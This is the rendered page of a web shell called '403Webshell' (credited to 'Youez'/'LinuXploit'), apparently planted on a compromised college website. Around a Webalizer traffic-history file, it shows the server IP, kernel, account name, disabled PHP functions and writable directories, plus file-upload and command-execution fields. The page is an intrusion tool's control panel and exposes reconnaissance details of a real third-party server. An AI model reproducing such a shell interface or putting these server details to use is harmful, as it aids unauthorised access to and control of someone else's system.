403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.39
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/domains/rytc.ac.th/stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/domains/rytc.ac.th/stats/webalizer.hist
# Webalizer V2.23-08 History Data - 05/Jul/2026 00:50:21 (120 month)
7 2026 3645 181 218 3331 1 4 820 185
6 2026 26856 1394 1241 33838 1 30 5176 1405
5 2026 15492 1289 1104 20821 1 31 3682 1133
4 2026 13211 1005 962 13022 1 30 4354 993
3 2026 12986 1178 940 15665 1 31 5166 1020
2 2026 10796 728 793 8299 1 28 4024 827
1 2026 15128 972 871 21830 1 31 3399 847
12 2025 13281 953 795 10633 1 31 3503 847
11 2025 14790 883 807 15176 1 30 3195 847
10 2025 11463 773 680 9635 1 31 2166 700
9 2025 14633 801 734 17070 1 30 1883 765
8 2025 37874 560 583 94597 1 31 27174 539
7 2025 13945 727 661 9818 1 31 3460 654
6 2025 10826 1034 725 14962 1 30 3678 736
5 2025 15308 1365 653 11366 1 31 4316 888
4 2025 9019 902 520 10448 1 30 2209 599
3 2025 7720 1053 575 5179 1 31 1734 701
2 2025 15341 631 411 8675 1 28 1383 390
1 2025 15145 718 410 8882 1 31 1888 459
12 2024 8797 850 368 10201 1 31 2699 409
11 2024 4961 612 426 6873 1 30 1773 470
10 2024 8543 427 401 7816 1 31 2397 389
9 2024 11432 776 455 41945 1 30 3129 444
8 2024 7807 2395 522 221930 1 31 2026 427
7 2024 30875 2508 526 220565 1 31 4471 649
6 2024 48725 4081 645 580701 1 30 7592 712
5 2024 56257 2169 963 354230 1 31 20903 949
4 2024 51672 4619 1313 456008 1 30 17595 1299
3 2024 1904 1409 409 163426 1 31 380 248
2 2024 2370 1927 279 244397 1 29 349 186
1 2024 5747 4421 308 606949 5 31 497 262
12 2023 0 0 0 0 0 0 0 0
11 2023 0 0 0 0 0 0 0 0
10 2023 0 0 0 0 0 0 0 0
9 2023 0 0 0 0 0 0 0 0
8 2023 0 0 0 0 0 0 0 0
7 2023 0 0 0 0 0 0 0 0
6 2023 0 0 0 0 0 0 0 0
5 2023 0 0 0 0 0 0 0 0
4 2023 0 0 0 0 0 0 0 0
3 2023 0 0 0 0 0 0 0 0
2 2023 0 0 0 0 0 0 0 0
1 2023 0 0 0 0 0 0 0 0
12 2022 0 0 0 0 0 0 0 0
11 2022 0 0 0 0 0 0 0 0
10 2022 0 0 0 0 0 0 0 0
9 2022 0 0 0 0 0 0 0 0
8 2022 0 0 0 0 0 0 0 0
7 2022 0 0 0 0 0 0 0 0
6 2022 0 0 0 0 0 0 0 0
5 2022 0 0 0 0 0 0 0 0
4 2022 0 0 0 0 0 0 0 0
3 2022 0 0 0 0 0 0 0 0
2 2022 0 0 0 0 0 0 0 0
1 2022 0 0 0 0 0 0 0 0
12 2021 0 0 0 0 0 0 0 0
11 2021 0 0 0 0 0 0 0 0
10 2021 0 0 0 0 0 0 0 0
9 2021 0 0 0 0 0 0 0 0
8 2021 0 0 0 0 0 0 0 0
7 2021 0 0 0 0 0 0 0 0
6 2021 0 0 0 0 0 0 0 0
5 2021 0 0 0 0 0 0 0 0
4 2021 0 0 0 0 0 0 0 0
3 2021 0 0 0 0 0 0 0 0
2 2021 0 0 0 0 0 0 0 0
1 2021 0 0 0 0 0 0 0 0
12 2020 0 0 0 0 0 0 0 0
11 2020 0 0 0 0 0 0 0 0
10 2020 0 0 0 0 0 0 0 0
9 2020 0 0 0 0 0 0 0 0
8 2020 0 0 0 0 0 0 0 0
7 2020 0 0 0 0 0 0 0 0
6 2020 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit